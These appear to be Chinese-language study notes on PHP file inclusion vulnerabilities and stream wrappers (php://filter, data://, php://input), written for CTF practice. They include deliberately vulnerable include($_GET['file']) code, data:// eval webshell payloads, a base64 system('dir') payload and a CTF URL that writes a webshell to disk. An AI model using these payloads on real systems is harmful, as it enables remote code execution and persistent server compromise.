0%

文件包含基础知识学习

文件包含漏洞(File Inclusion Vulnerability)是一种常见的 Web 安全漏洞,它允许攻击者通过控制输入参数,使应用程序包含并执行本地或远程服务器上的任意文件内容。这种漏洞通常出现在 PHP 等动态语言中,当应用程序使用用户输入作为文件路径参数,且未对输入进行严格验证和过滤时,攻击者可以利用这一点,包含恶意文件(如本地配置文件、远程恶意脚本等),从而获取敏感信息、执行任意代码或进一步攻击系统。

基础知识学习

下面是几个示例,是文件包含函数最基础的用法,用来解析文件。

包含服务器文件(远程包含)

需要在phpini中配置:

allow_url_fopen = On
allow_url_include = On

访问http://localhost/eclipse_workspace/firstpro/exp.php?sh=http://www.baidu.com

image-20250116152345994

包含本地文件

可以解析php文件,并将其他类型的文件,其内容当成php代码解析

被包含文件:

# test.txt
<?php
phpinfo();
system("dir");
?>

包含文件:

#exp.php
<?php
include($_GET['file']);

绝对路径访问:

?fie=D:\Users\install\test.txt

file://协议访问:

?file=file://D:\Users\install\test.txt

allow_url_include

​ 在_php_ 中,allow_url_include是一个配置指令,用来控制是否允许使用includerequire语句,来包含并执行外部文件。allow_url_include可以在php.ini文件中设置,或者在运行时通过ini_set()函数动态设置。以下是两个设置的例子:

//init
allow_url_include = On
//php复制
ini_set('allow_url_include', '1'); // 开启

动态执行代码

可以直接执行php代码,如下:

data://text/plain,<?php eval($_POST['sh']);?>
#蚁剑可直连

绕过一些过滤,将要执行的代码进行base64加密:

data://text/plain;base64,PD9waHAgc3lzdGVtKCdkaXInKTs/Pg==

结合file_get_contents利用

file_get_contents()函数用来读取文件内容,伪协议data://可以结合该函数利用。

#flag文件
flag{This-is-the-flag-123}

file_get_contents()函数可以直接读取文件内容,传入文件名即可:

#exp.php
<?php
$a = file_get_contents("flag");
echo $a;

image-20250124153021803

利用data://伪协议覆盖要读的内容:

<?php
$a = file_get_contents($_GET['content']);
echo $a;

image-20250124153340202

伪协议

php://filter伪协议

官方介绍:

php://filter 是一种元封装器,设计用于数据流打开时的筛选过滤应用。这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。

使用方法:

php://filter(/read或/write)/过滤器|过滤器/resource=要过滤的数据流

filter后面可以套多层目录。过滤器可以设置多个,使用管道符|分隔,按照从左到右的顺序依次使用相应的过滤器进行过滤处理。

过滤器分类

  • 字符串过滤器:以string开头,常见过滤器有rot13、toupper、tolower、strip_tags等。string.strip_tags自PHP 7.3.0起废弃。

  • 转换过滤器:以convert开头,主要含三类,分别是base64的编码转换,quoted-printable的编码转换,iconv字符编码转换。

    1. base64的编码为base64_encode和base64_decode;

    2. quoted-printable为quoted-printable-encode可打印字符引用编码,解码为quoted-printable-decode但是无该解码过滤器;

    3. 在激活 iconv的前提下可以使用convert.iconv.*压缩过滤器,等同于用iconv()处理所有的流数据。

      • .utf-8.utf-7:将utf8编码转换utf7编码
      • .utf8.utf16:将utf8编码转换utf16编码
      • .SJIS*.UCS-4*
      #格式: convert.iconv.<input-encoding>.<output-encoding>
      #<input-encoding>和<output-encoding>有以下几种:
      #UCS-4* UCS-4BE UCS-4LE* UCS-2 UCS-2BE UCS-2LE
      #UTF-32* UTF-32BE* UTF-32LE* UTF-16* UTF-16BE* UTF-16LE*
      #UTF-7 UTF7-IMAP UTF-8* ASCII*
      echo file_get_contents("php://filter/convert.iconv.UCS-2.UCS-2LE/resource=data://text/plain,abcd");
  • 压缩过滤器:zlib.deflate压缩&zlib.inflate解压、bzip2.compress压缩&bzip.decompress解压

  • 加密过滤器:特别适用于文件或数据流的加密,自PHP7.1.0起废弃。

参考文章:

[php filter伪协议 - Tranquility](https://leekosss.github.io/2023/08/24/php filter伪协议/#convert-iconv)

data://协议

data://伪协议是一种特殊的协议,用于在PHP中将数据以流的形式处理。它属于PHP的Stream Wrapper 机制的一部分,允许开发者通过类似文件的方式操作数据,而无需依赖实际的文件系统或外部资源。

作用:该伪协议允许开发者将任意数据作为流来读取或写入。使用前提:allow_url_fopen :on且allow_url_include:on

下面是一个例子,来理解该协议

<?php
$stream = fopen('data://text/plain,Hello World!', 'r');
$fr = fread($stream,12);
fclose($stream);
echo $fr;
#输出:
//Hello World!

file://

用来读取本地服务器上的文件。

data://

**data://text/plain**是_PHP_ 中file_get_contents函数支持的一种特殊协议,用于将字符串作为文件内容来处理。在data://协议后面,可以指定_MIME_ 类型(在这里是text/plain),然后是逗号和数据本身。数据可以是任何有效的字符串,它将被当作文件内容来读取。

php5.2.0起,如果传入的数据是PHP代码,就会执行代码。使用方法:

data://text/plain;base64,payload
# payload是base64编码后的代码

下面给出一个例子:

<?php
$a = "This is a demo.\n";
$stream = fopen('data://text/plain,'.$a, 'r');
$fa = fread($stream, strlen($a));
fclose($stream);
echo $fa;

$stream = fopen('data://text/plain,Hello World!', 'r');
$fr = fread($stream,12);
fclose($stream);
echo $fr;
?>
// 输出结果
/*
This is a demo.
Hello World!
*/

http://2c421d36-abcf-46cb-9985-dc13ad0966a4.node4.buuoj.cn:81/?url=data:text/plain,'<?php @eval($_POST['capt'])?>'&filename=upload/test.php
  • data://结合SSRF,绕过GET命令

GET 是一个命令行工具,通常用于从网络上获取资源。它类似于 curlwget,例如,GET http://example.com 会从 http://example.com 获取内容。

--- ?url=data:text/plain,'<?php @eval($_POST["sh"])?>'

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
@file_put_contents(exp.php, $data);

这样就成功的将木马写入文件中,并使其起作用。

php://input

​ 当请求方式是POST的,并且**enctpy不等于multipart/form-data**时,可以使用php://input来获取原始请求的数据。如下会将通过POST方式提交的数据直接赋值给$body

$body = file_get_contents('php://input');    //变量body利用php://input伪协议获取post数据

file_get_contents()

<?php
if(file_get_contents($_GET['2333'])==="today is a happy day")
{
echo file_get_contents($_GET['file']);
}
?>

hackbar直接传入?2333=data://text/plain,today is a happy day&file=flag即可,如用bp则参数中的空格要url编码

​ 本来在网上看php://input也行的(在enctype不为multipart/from-data的前提下),但试了好久,都没成功,发现是传入的POST内容需要变量名,但是给了变量名又会把**变量名=也带上,而且里面的空格都用+**替代了。看其他师傅的文章中都没出现过这个问题,真的好奇怪😤